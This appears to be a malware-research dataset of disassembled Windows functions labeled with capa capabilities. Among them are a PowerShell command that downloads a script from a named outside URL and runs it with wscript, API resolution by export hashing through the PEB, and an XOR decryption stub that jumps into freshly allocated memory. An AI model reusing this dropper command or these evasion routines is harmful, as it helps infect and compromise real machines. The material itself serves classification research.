joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403860
Capabilities:
Write file on windows

Disassembly:
sub esp, 8
fldz
push ebx
push esi
fstp dword [esp + 8]
push edi
xor eax, eax
xor ecx, ecx
push 3
mov word [esp + 0x10], ax
push 0x42554c
mov word [esp + 0x14], cx
call fcn.00401ea0
mov ebx, dword [esp + 0x20]
mov esi, eax
push esi
push ebx
call fcn.0040c15e
mov edi, eax
add esp, 0x10
test edi, edi
jne 0x4038c1
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0xffff8b5e
push esi
push ebx
mov word [esp + 0x14], dx
call fcn.0040c15e
mov edi, eax
add esp, 8
test edi, edi
je 0x4038d9
push edi
push 1
lea eax, [esp + 0x24]
push 4
push eax
call fcn.0040c2d7
push edi
call fcn.0040bd04
add esp, 0x14
fldz
xor eax, eax
xor ecx, ecx
mov word [esp + 0xc], cx
fstp qword [esp + 0xc]
mov word [esi], ax
push esi
mov byte [esi + 2], al
call fcn.0040b3fb
add esp, 4
pop edi
pop esi
pop ebx
add esp, 8
ret

Function at 0x403900
Capabilities:
Set registry value

Disassembly:
sub esp, 0xc
push ebx
xor eax, eax
mov dword [esp + 4], 0
xor ecx, ecx
push 0x2e
mov word [esp + 8], ax
push 0x42540c
mov word [esp + 0xc], cx
call fcn.00401ea0
add esp, 8
lea edx, [esp + 0xc]
push edx
mov ebx, eax
push ebx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x4039ec
fld dword [0x425478]
push esi
fadd qword [0x41f5a8]
push edi
call fcn.0040b350
mov dword [esp + 0xc], eax
fld dword [0x425478]
fadd qword [0x41f358]
push 0x34
push 0x425970
fstp dword [0x425478]
call fcn.00401ea0
mov edx, dword [esp + 0x24]
mov esi, eax
mov ax, word [0x425b14]
movsx ecx, ax
mov dword [esp + 0x14], ecx
mov eax, edx
add esp, 8
fild dword [esp + 0xc]
lea edi, [eax + 1]
fmul qword [0x4259b0]
fstp qword [0x4259b0]
inc word [0x425b14]
jmp 0x4039b0
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4039b0
sub eax, edi
push eax
push edx
mov edx, dword [esp + 0x1c]
push 1
push 0
push esi
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
fldz
xor eax, eax
push 0x34
push eax
mov word [esp + 0x14], ax
fstp qword [esp + 0x14]
push esi
call fcn.0040b490
push esi
call fcn.0040b3fb
add esp, 0x10
pop edi
pop esi
fldz
xor ecx, ecx
push 0x2e
push ecx
mov word [esp + 0xc], cx
fstp qword [esp + 0xc]
push ebx
call fcn.0040b490
push ebx
call fcn.0040b3fb
mov edx, dword [esp + 0x1c]
add esp, 0x10
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
add esp, 0xc
ret
Function at 0x40a9b0
Capabilities:
Create thread

Disassembly:
sub esp, 0xc
fldz
push ebx
push ebp
xor ebp, ebp
mov dword [esp + 0x10], ebp
mov dword [esp + 0xc], ebp
xor eax, eax
mov word [esp + 8], ax
push esi
xor ecx, ecx
mov dword [esp + 0xc], ebp
xor esi, esi
mov word [esp + 0xc], cx
fstp dword [esp + 0xc]
push edi
mov dword [0x4276ac], ebp
cmp dword [0x4246c0], ebp
je 0x40aa14
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
mov ebx, 0xb699a815
push ebp
push ebp
push esi
push 0x402800
push ebp
push ebp
mov dword [esi*4 + 0x4271e8], ebp
call edi
add dword [esp + 0x14], ebx
inc esi
cmp esi, dword [0x4246c0]
jne 0x40a9f4
fld dword [0x425940]
mov edx, dword [esp + 0x18]
fadd qword [0x41fae0]
mov eax, dword [esp + 0x14]
mov dword [esp + 0x18], edx
fild dword [esp + 0x18]
mov dword [esp + 0x18], eax
fild dword [esp + 0x18]
fsubp st(2)
fsubrp st(1)
call fcn.0040b350
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp + 0x18], eax
or ebx, 0xffffffff
add dword [esp + 0x14], ebx
fld qword [0x425480]
fsub qword [0x41fad8]
push 0xa
fstp qword [0x425480]
add dword [0x42350c], 0xd28117e6
call edi
fld qword [0x423690]
fadd qword [0x41f358]
fstp qword [0x423690]
fld qword [0x423690]
mov cx, word [0x4259c0]
fsubr qword [0x41fad0]
movsx edx, cx
mov dword [esp + 0x18], edx
fild dword [esp + 0x18]
fmulp st(1)
call fcn.0040b350
mov word [0x4259c0], ax
mov esi, 0x4246c4
jmp 0x40aac0
fld dword [esp + 0x10]
movzx eax, word [esi]
fadd qword [0x41fac8]
mov ecx, dword [eax*4 + 0x4271e8]
push ecx
fstp dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_SetEvent]
movzx edx, word [esi]
cmp dword [edx*4 + 0x4271e8], ebp
je 0x40ab26
jmp 0x40aaf0
mov ax, word [0x4259a8]
mov edx, dword [esp + 0x14]
movsx ecx, ax
mov eax, 0x851ea753
sub eax, ecx
add edx, eax
mov dword [esp + 0x18], edx
push 0xa
fild dword [esp + 0x1c]
fstp dword [esp + 0x14]
add dword [esp + 0x18], ebx
call edi
movzx eax, word [esi]
cmp dword [eax*4 + 0x4271e8], ebp
jne 0x40aaf0
add esi, 2
cmp esi, 0x4246cc
jne 0x40aac0
call dword [0x4276ac]
invalid

Function at 0x40b623
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x425e90]
jne 0x40b62d
repz ret
jmp fcn.0040fa1d
Function at 0x4169a4
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00410aa9
and dword [ebp - 4], 0
cmp dword [0x428114], 0
mov ebx, eax
jne 0x416a55
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x416b06
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x420b88
push edi
call esi
test eax, eax
je 0x416b06
push eax
call fcn.00410a37
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x428114], eax
call esi
push eax
call fcn.00410a37
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x428118], eax
call esi
push eax
call fcn.00410a37
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x42811c], eax
call esi
push eax
call fcn.00410a37
pop ecx
mov dword [0x428124], eax
test eax, eax
je 0x416a55
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00410a37
pop ecx
mov dword [0x428120], eax
mov eax, dword [0x428120]
cmp eax, ebx
je 0x416aad
cmp dword [0x428124], ebx
je 0x416aad
push eax
call fcn.00410ab2
push dword [0x428124]
mov esi, eax
call fcn.00410ab2
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x416aad
test edi, edi
je 0x416aad
call esi
test eax, eax
je 0x416aa4
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x416aa4
test byte [ebp - 0xc], 1
jne 0x416aad
or dword [ebp + 0x10], 0x200000
jmp 0x416ae6
mov eax, dword [0x428118]
cmp eax, ebx
je 0x416ae6
push eax
call fcn.00410ab2
pop ecx
test eax, eax
je 0x416ae6
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x416ae6
mov eax, dword [0x42811c]
cmp eax, ebx
je 0x416ae6
push eax
call fcn.00410ab2
pop ecx
test eax, eax
je 0x416ae6
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x428114]
call fcn.00410ab2
pop ecx
test eax, eax
je 0x416b06
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x416b08
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x423060
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x142c
call fcn.0040fce0
mov eax, dword [0x42dbf8]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x142c], ecx
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0xffffff
mov eax, dword [ebp - 0x142c]
mov byte [eax + 0x1580], 0
lea ecx, [ebp - 0x414]
push ecx
push 0x400
lea edx, [ebp - 0x1418]
push edx
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
je 0x4231e5
mov dword [ebp - 0x141c], 0
jmp 0x4230d3
mov eax, dword [ebp - 0x141c]
add eax, 1
mov dword [ebp - 0x141c], eax
mov ecx, dword [ebp - 0x414]
shr ecx, 2
cmp dword [ebp - 0x141c], ecx
jae 0x4231e5
mov edx, dword [ebp - 0x141c]
mov eax, dword [ebp + edx*4 - 0x1418]
push eax
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x1420], eax
cmp dword [ebp - 0x1420], 0
je 0x4231d3
lea ecx, [ebp - 0x1428]
push ecx
push 4
lea edx, [ebp - 0x1424]
push edx
mov eax, dword [ebp - 0x1420]
push eax
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
je 0x4231d3
push 0x400
lea ecx, [ebp - 0x410]
push ecx
mov edx, dword [ebp - 0x1424]
push edx
mov eax, dword [ebp - 0x1420]
push eax
call sub.PSAPI.DLL_GetModuleFileNameExA
mov dword [ebp - 0x418], 0
lea ecx, [ebp - 0x418]
push ecx
lea edx, [ebp - 0x410]
push edx
mov ecx, dword [ebp - 0x142c]
call fcn.00422990
movzx eax, al
test eax, eax
je 0x4231d3
cmp dword [ebp - 0x418], 0x34000
jne 0x4231d3
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x141c]
mov eax, dword [ebp + edx*4 - 0x1418]
cmp eax, dword [ebp - 4]
jae 0x4231ba
mov ecx, dword [ebp - 0x141c]
mov edx, dword [ebp + ecx*4 - 0x1418]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x141c]
mov ecx, dword [ebp + eax*4 - 0x1418]
push ecx
mov ecx, dword [ebp - 0x142c]
call fcn.00422940
mov edx, dword [ebp - 0x1420]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4230c4
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [ebp - 4], eax
jne 0x4231fd
mov eax, dword [ebp - 0x142c]
mov byte [eax + 0x1580], 1
cmp dword [ebp - 8], 4
jge 0x42320e
mov ecx, dword [ebp - 0x142c]
call fcn.00422cb0
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.0040e454
mov esp, ebp
pop ebp
ret

Function at 0x41208a
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x4b1064
push eax
push dword fs:[0]
mov dword fs:[0], esp
xor eax, eax
mov dword [eax], ecx
push eax
inc ebp
inc ebx
outsd dx, dword [esi]
insd dword es:[edi], dx
jo 0x41210a
arpl word [edx + esi], si
mov cl, 0xa5
cdq
invalid
invalid
Function at 0x10032fd0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x10032fdf
pop dword [ebp - 0x20]
mov eax, 0x10032fdf
sub dword [ebp - 0x20], eax
push 0x40
push 0x1000
push 0x62ba8
push 0
mov eax, 0xb7129206
add eax, 0x58f84eee
add eax, dword [ebp - 0x20]
call dword [eax]
mov ecx, 0xcdf82fc0
sub ecx, 0xcdf7e504
mov edi, eax
mov ebx, 0x2e0c726e
add ebx, 0xe2063992
add ebx, dword [ebp - 0x20]
mov esi, 0xefc58eb7
sub esi, 0xc68527aa
mov dword [ebp - 4], 0x61d118e3
mov edx, dword [ebx]
mov dword [ebp - 0x10], 0x5a69ca52
xor edx, esi
xor dword [ebp - 0x10], ecx
mov dword [edi], edx
sub dword [ebp - 0x10], edx
add edi, 0x444b2170
add edi, 0xbbb4de94
add ebx, 0xd71e5197
add ebx, 0x28e1ae6d
loop 0x10033039
add eax, 0x14d9490c
sub eax, 0x14d82b49
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x8b80ae3c
add ecx, 0x847f51c4
add ecx, dword [ebp - 0x20]
call ebx
leave
ret
Function at 0x10033590
Capabilities:
Delete registry value
Set registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100a4a48
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
push ebx
push esi
push edi
mov eax, dword [0x1010df64]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], ecx
xor esi, esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x14], esi
lea eax, [ebp - 0x28]
push eax
mov dword [ebp - 4], esi
call fcn.10032fd0
push 0x20006
push 0x100af120
push dword [eax]
lea ecx, [ebp - 0x1c]
call fcn.10032fd0
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, eax
mov eax, dword [ebp - 0x28]
test eax, eax
je 0x100335fa
push eax
call ebx
cmp edi, 2
jne 0x10033630
lea eax, [ebp - 0x28]
push eax
call fcn.10032fd0
push 0
push 0
push 0x20006
push 0
push 0
push 0x100af120
push dword [eax]
lea ecx, [ebp - 0x1c]
call fcn.10032fd0
mov edi, eax
mov eax, dword [ebp - 0x28]
test eax, eax
je 0x10033630
push eax
call ebx
mov ebx, dword [ebp - 0x1c]
test edi, edi
je 0x1003366f
jg 0x1003363d
mov esi, edi
jmp 0x10033646
movzx esi, di
or esi, 0x80070000
call fcn.10007370
test al, al
je 0x100336e1
push esi
push 0x100af120
push str.Unable_to_create_registry_key__s__hr___x.
push str.d:_bt20572clientwlidsspwlidsvccoreclientconfig.cpp_927
push 0
call fcn.10032fd0
add esp, 0x14
jmp 0x100336e1
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx + 0xe0]
mov eax, ecx
cdq
xor eax, edx
sub eax, edx
cmp eax, 0x14
jl 0x100336d5
push 4
lea eax, [ebp - 0x10]
push eax
push 4
push 0
push str.ClockSkew
push ebx
mov dword [ebp - 0x10], ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x100336e1
jg 0x100336a7
mov esi, eax
jmp 0x100336b0
movzx esi, ax
or esi, 0x80070000
call fcn.10007370
test al, al
je 0x100336e1
push esi
push str.ClockSkew
push str.Unable_to_write_registry_key__s__hr___x.
push str.d:_bt20572clientwlidsspwlidsvccoreclientconfig.cpp_943
push 0
call fcn.10032fd0
add esp, 0x14
jmp 0x100336e1
push str.ClockSkew
push ebx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
test ebx, ebx
je 0x100336ec
push ebx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10047e50
Capabilities:
Delete registry key

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100a56a9
mov eax, dword fs:[0]
push eax
sub esp, 0x128
mov eax, dword [0x1010df64]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x120], 0
mov dword [ebp - 0x134], 0
mov dword [ebp - 0x130], 0
mov dword [ebp - 0x12c], 0
mov eax, dword [0x1010df30]
mov ecx, 0x1010df30
mov byte [ebp - 4], 1
call dword [eax + 0xc]
lea esi, [eax + 0x10]
mov dword [ebp - 0x128], esi
lea ecx, [ebp + 8]
mov byte [ebp - 4], 2
mov dword [ebp - 0x124], 0
call fcn.10013bd0
mov ecx, eax
call fcn.10013cd0
mov eax, dword [ebp + 8]
mov edi, dword [eax - 0xc]
test edi, edi
jns 0x10047efa
push 0x80070057
call fcn.10032fd0
mov ecx, dword [eax - 8]
mov edx, 1
sub edx, dword [eax - 4]
sub ecx, edi
or ecx, edx
jge 0x10047f17
push edi
lea ecx, [ebp + 8]
call fcn.10032fd0
mov eax, dword [ebp + 8]
lea ecx, [edi + 1]
push ecx
push eax
call fcn.10032fd0
mov eax, dword [ebp + 8]
add esp, 8
cmp edi, dword [eax - 8]
jg 0x10047ef0
mov dword [eax - 0xc], edi
mov eax, dword [ebp + 8]
xor ecx, ecx
mov word [eax + edi*2], cx
push dword [ebp + 8]
lea eax, [ebp - 0x120]
push str.wstrUserName_s
push str.IDCRL::DeleteUserAllExtendedProperties
push eax
push str.d:_bt20572clientwlidsspwlidsvccorecredentialbag.cpp_40
lea eax, [ebp - 0x11c]
push 2
push eax
call fcn.10032fd0
add esp, 0x1c
mov eax, dword [ebp + 8]
mov byte [ebp - 4], 3
cmp dword [eax - 0xc], 0
je 0x10048004
lea eax, [ebp - 0x124]
push eax
push 0x20006
call dword [sym.imp.ADVAPI32.dll_RegOpenCurrentUser]
mov edi, eax
test edi, edi
je 0x10047fa6
jg 0x10047f95
mov dword [ebp - 0x120], edi
jmp 0x1004800a
movzx edi, di
or edi, 0x80070000
mov dword [ebp - 0x120], edi
jmp 0x1004800a
push 0x39
push str.SoftwareMicrosoftMSOIdentityCRLUserExtendedProperties_
lea ecx, [ebp - 0x128]
call fcn.10032fd0
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x128]
push dword [eax - 0xc]
push eax
call fcn.10032fd0
mov esi, dword [ebp - 0x128]
push esi
push dword [ebp - 0x124]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test eax, eax
je 0x10047ff8
cmp eax, 2
je 0x10047ff8
test eax, eax
jle 0x10047ff2
movzx eax, ax
or eax, 0x80070000
mov dword [ebp - 0x120], eax
push dword [ebp - 0x124]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, dword [ebp - 0x120]
lea ecx, [ebp - 0x11c]
mov byte [ebp - 4], 2
call fcn.10032fd0
lea edx, [esi - 0x10]
or esi, 0xffffffff
mov byte [ebp - 4], 1
lea ecx, [edx + 0xc]
mov eax, esi
lock xadd dword [ecx], eax
dec eax
test eax, eax
jg 0x10048039
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ebx, dword [ebp + 8]
add ebx, 0xfffffff0
mov dword [ebp - 4], 0xffffffff
lea eax, [ebx + 0xc]
lock xadd dword [eax], esi
dec esi
test esi, esi
jg 0x1004805a
mov ecx, dword [ebx]
push ebx
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10001e17
mov esp, ebp
pop ebp
ret 4
Function at 0x1004bac0
Capabilities:
Write file on windows

Disassembly:
call fcn.10032fd0
call fcn.1000ddf0
mov ecx, eax
call fcn.1000d310
mov ecx, dword [0x1011169c]
test ecx, ecx
je 0x1004bb06
push esi
call fcn.10032fd0
mov esi, dword [0x1011169c]
test esi, esi
je 0x1004bafb
mov ecx, esi
call fcn.10032fd0
push esi
call fcn.1000863f
add esp, 4
mov dword [0x1011169c], 0
pop esi
jmp fcn.1004de70
Function at 0x401000
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ecx + 0x3c]
push ebx
push esi
mov esi, edx
mov dword [ebp - 8], ecx
mov eax, dword [eax + ecx + 0x78]
add eax, ecx
mov dword [ebp - 0x14], esi
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], 0
mov ebx, dword [eax + 0x20]
mov edx, dword [eax + 0x24]
add ebx, ecx
mov eax, esi
add edx, ecx
shr eax, 0x10
mov dword [ebp - 0x10], edx
test eax, eax
jne 0x401059
movzx eax, si
mov esi, dword [ebp - 4]
sub eax, dword [esi + 0x10]
mov dword [ebp - 0xc], eax
mov eax, dword [esi + 0x1c]
mov edx, dword [ebp - 0xc]
pop esi
pop ebx
lea eax, [eax + edx*4]
mov eax, dword [eax + ecx]
add eax, ecx
mov esp, ebp
pop ebp
ret
mov esi, dword [ebp - 4]
push edi
xor edi, edi
cmp dword [esi + 0x18], edi
jbe 0x4010c1
mov esi, dword [ebx]
xor eax, eax
add esi, ecx
mov cl, byte [esi]
test cl, cl
je 0x401099
shl eax, 4
lea esi, [esi + 1]
movsx ecx, cl
add eax, ecx
mov edx, eax
and edx, 0xf0000000
je 0x40108c
mov ecx, edx
shr ecx, 0x18
xor eax, ecx
mov cl, byte [esi]
not edx
and eax, edx
test cl, cl
jne 0x401070
mov edx, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x14]
je 0x4010b5
mov ecx, dword [ebp - 4]
inc edi
add edx, 2
add ebx, 4
mov dword [ebp - 0x10], edx
cmp edi, dword [ecx + 0x18]
mov ecx, dword [ebp - 8]
jb 0x401064
jmp 0x4010be
movzx eax, word [edx]
mov ecx, dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov esi, dword [ebp - 4]
mov eax, dword [esi + 0x1c]
mov edx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
lea eax, [eax + edx*4]
mov eax, dword [eax + ecx]
add eax, ecx
mov esp, ebp
pop ebp
ret
Function at 0x4010e0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
mov ebx, ecx
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov esi, eax
mov edx, 0x5681127
mov ecx, esi
call fcn.00401000
mov edx, 0x9b3b115
mov ecx, esi
mov edi, eax
call fcn.00401000
mov edx, 0x9b36815
mov dword [ebp - 8], eax
mov ecx, esi
call fcn.00401000
mov edx, 0xdaa96b5
mov dword [ebp - 0xc], eax
mov ecx, esi
call fcn.00401000
mov edx, 0xad68927
mov dword [ebp - 0x10], eax
mov ecx, esi
call fcn.00401000
mov edx, 0x51e7657
mov dword [ebp - 0x14], eax
mov ecx, esi
call fcn.00401000
mov edx, 0x9df01b5
mov dword [ebp - 0x18], eax
mov ecx, esi
call fcn.00401000
mov edx, 0x9df5db5
mov dword [ebp - 0x1c], eax
mov ecx, esi
call fcn.00401000
mov edx, 0x9ae7db5
mov dword [ebp - 0x20], eax
mov ecx, esi
call fcn.00401000
push 0xa
push 0x7c
push 0
mov dword [ebp - 4], eax
call edi
mov esi, eax
test esi, esi
je 0x401227
push esi
push ebx
call dword [ebp - 8]
test eax, eax
je 0x401227
push eax
call dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
test eax, eax
je 0x401227
push esi
push ebx
call dword [ebp - 0x10]
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
push dword [ebp + 8]
mov esi, eax
mov dword [ebp - 0x10], esi
call dword [ebp - 0x14]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x401227
push 0
push esi
push 0
push 4
push 0
push ebx
call dword [ebp - 0x18]
mov esi, eax
test esi, esi
je 0x401221
push 0
push 0
push 0
push 2
push esi
call dword [ebp - 0x1c]
mov edi, eax
test edi, edi
je 0x401211
push dword [ebp - 0x10]
push dword [ebp - 0xc]
push edi
call fcn.00410500
add esp, 0xc
push edi
call dword [ebp - 0x20]
push esi
mov esi, dword [ebp - 4]
call esi
push ebx
call esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [ebp - 4]
push ebx
call esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403f50
Capabilities:
Create process on windows
Query environment variable

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0xaac
mov eax, dword [0x419004]
xor eax, esp
mov dword [esp + 0xaa8], eax
push esi
mov esi, dword [ebp + 8]
lea ecx, [esp + 0x70]
call fcn.00403720
push 0x104
lea eax, [esp + 0xd4]
push eax
push str._programdata__syncios_manager_7_0_8.exe
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [esp + 0xd0]
mov ecx, esi
push eax
call fcn.004010e0
add esp, 4
lea eax, [esp + 0x2d8]
push str.hSgRe4JSpQ
push str.hSgRe4JSpQ
push str.https:__kionaonline.com_modules_bonslick_associatory.php
push str.powershell__command__IWR__UseBasicParsing__Uri__s__OutFile___env:temp_S.js___wscript___env:temp_S.js__
push 0x3e8
push eax
call dword [sym.imp.SHLWAPI.dll_wnsprintfW]
push 0x44
lea eax, [esp + 0x44]
push 0
push eax
call fcn.004069f0
add esp, 0x24
mov dword [esp + 0x28], 0x44
lea eax, [esp + 0x10]
xorps xmm0, xmm0
movaps xmmword [esp + 0x10], xmm0
push eax
lea eax, [esp + 0x2c]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
lea eax, [esp + 0x2f8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x404034
push 0xffffffffffffffff
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esp + 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [esp + 0x10]
call esi
push 1
push 0
push 0
lea eax, [esp + 0xdc]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea ecx, [esp + 0xa8]
call fcn.00404090
lea ecx, [esp + 0x90]
call fcn.00404090
lea ecx, [esp + 0x78]
call fcn.00404090
mov ecx, dword [esp + 0xaac]
xor eax, eax
pop esi
xor ecx, esp
call fcn.0040461d
mov esp, ebp
pop ebp
ret 0x10
Function at 0x413d00
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xcc
mov ecx, dword [0x4466c0]
test ecx, ecx
je 0x413d1e
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [ebp - 0x68], 0x41414141
mov eax, dword [0x43fb80]
lea esi, [ebp - 0x68]
mov dword [ebp - 0x64], 0x41414141
mov dword [ebp - 0x60], 0x41414141
mov dword [ebp - 0x48], eax
mov eax, dword [0x43fb84]
mov dword [ebp - 0x5c], 0x41414141
mov dword [ebp - 0x58], 0x41414141
mov dword [ebp - 0x44], eax
mov eax, dword [0x43fb88]
mov dword [ebp - 0x54], 0x41414141
mov dword [ebp - 0x50], 0x41414141
mov dword [ebp - 0x40], eax
mov eax, dword [0x43fb8c]
mov dword [ebp - 0x4c], 0x41414141
mov dword [ebp - 0x3c], eax
mov eax, dword [0x43fb90]
mov dword [ebp - 0x38], eax
mov eax, dword [0x43fb94]
mov dword [ebp - 0x34], eax
mov eax, dword [0x43fb98]
mov dword [ebp - 0x30], eax
mov eax, dword [0x43fb9c]
mov dword [ebp - 0x2c], eax
movzx eax, word [0x43fba0]
mov word [ebp - 0x28], ax
mov dword [esp], esi
call dword [0x44720c]
movzx eax, ax
sub esp, 4
test eax, eax
mov dword [ebp - 0xbc], eax
jne 0x413efc
mov dword [esp], 0x3c
call fcn.00417b30
test eax, eax
mov ebx, eax
je 0x413f30
cld
mov edi, eax
mov eax, dword [ebp - 0xbc]
mov ecx, 0xf
rep stosd dword es:[edi], eax
mov dword [ebx + 4], fcn.00410ad0
mov ecx, 1
mov dword [ebx + 8], 0x40cc50
mov eax, dword [0x446690]
mov dword [ebx], 0x3c
mov edx, dword [0x446694]
mov dword [ebx + 0x28], 0
mov dword [ebx + 0x14], eax
mov eax, dword [0x43e190]
mov dword [ebx + 0x18], edx
mov edx, dword [0x43e194]
mov dword [ebx + 0x1c], eax
mov eax, dword [0x4466a0]
mov dword [ebx + 0x20], edx
mov dword [ebx + 0x30], 0xffffffff
mov dword [ebx + 0x2c], eax
mov edx, dword [0x43e19c]
mov eax, dword [0x43e198]
mov dword [ebx + 0x38], edx
mov edx, 0x1f
mov dword [ebx + 0x34], eax
mov esi, esi
mov eax, ebx
and eax, ecx
cmp eax, 1
sbb eax, eax
and al, 0x20
add ecx, ecx
add al, 0x41
mov byte [edx + ebp - 0xb8], al
dec edx
jns 0x413e50
mov eax, dword [0x43fb80]
mov dword [ebp - 0x98], eax
mov eax, dword [0x43fb84]
mov dword [ebp - 0x94], eax
mov eax, dword [0x43fb88]
mov dword [ebp - 0x90], eax
mov eax, dword [0x43fb8c]
mov dword [ebp - 0x8c], eax
mov eax, dword [0x43fb90]
mov dword [ebp - 0x88], eax
mov eax, dword [0x43fb94]
mov dword [ebp - 0x84], eax
mov eax, dword [0x43fb98]
mov dword [ebp - 0x80], eax
mov eax, dword [0x43fb9c]
mov dword [ebp - 0x7c], eax
movzx eax, word [0x43fba0]
mov word [ebp - 0x78], ax
lea eax, [ebp - 0xb8]
mov dword [esp], eax
call dword [0x4471fc]
movzx edi, ax
sub esp, 4
test edi, edi
jne 0x413f21
xor edx, edx
test edx, edx
jne 0x413f03
mov dword [esp], ebx
call fcn.00417b20
mov dword [esp], esi
call dword [0x44720c]
sub esp, 4
movzx eax, ax
call fcn.00413c60
mov ebx, eax
mov dword [0x4466c0], ebx
lea eax, [ebx + 4]
mov dword [0x4466b0], eax
lea eax, [ebx + 8]
mov dword [0x4466d0], eax
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, edi
call fcn.00413c60
cmp eax, ebx
mov edx, edi
jne 0x413edf
jmp 0x413ee1
call fcn.00417ad0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop